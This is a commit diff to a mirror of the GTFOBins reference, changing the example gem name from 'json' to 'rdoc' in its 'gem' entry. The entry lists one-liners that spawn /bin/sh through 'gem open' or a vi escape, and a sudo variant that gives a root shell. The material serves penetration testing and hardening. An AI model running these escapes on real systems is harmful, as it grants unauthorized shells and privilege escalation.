mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Use rdoc instead of json in gem
This commit is contained in:
parent
7e12bf7799
commit
0bd4ab2b27
@ -1,11 +1,11 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- description: This requires the name of an installed gem to be provided (`json` is usually installed).
|
- description: This requires the name of an installed gem to be provided (`rdoc` is usually installed).
|
||||||
code: gem open -e "/bin/sh -c /bin/sh" json
|
code: gem open -e "/bin/sh -c /bin/sh" rdoc
|
||||||
- description: This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`json` is usually installed).
|
- description: This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`rdoc` is usually installed).
|
||||||
code: |
|
code: |
|
||||||
gem open json
|
gem open rdoc
|
||||||
:!/bin/sh
|
:!/bin/sh
|
||||||
- description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
|
- description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
|
||||||
code: |
|
code: |
|
||||||
@ -18,6 +18,6 @@ functions:
|
|||||||
echo 'system("/bin/sh")' > $TF/x
|
echo 'system("/bin/sh")' > $TF/x
|
||||||
gem install --file $TF/x
|
gem install --file $TF/x
|
||||||
sudo:
|
sudo:
|
||||||
- description: This requires the name of an installed gem to be provided (`json` is usually installed).
|
- description: This requires the name of an installed gem to be provided (`rdoc` is usually installed).
|
||||||
code: sudo gem open -e "/bin/sh -c /bin/sh" json
|
code: sudo gem open -e "/bin/sh -c /bin/sh" rdoc
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user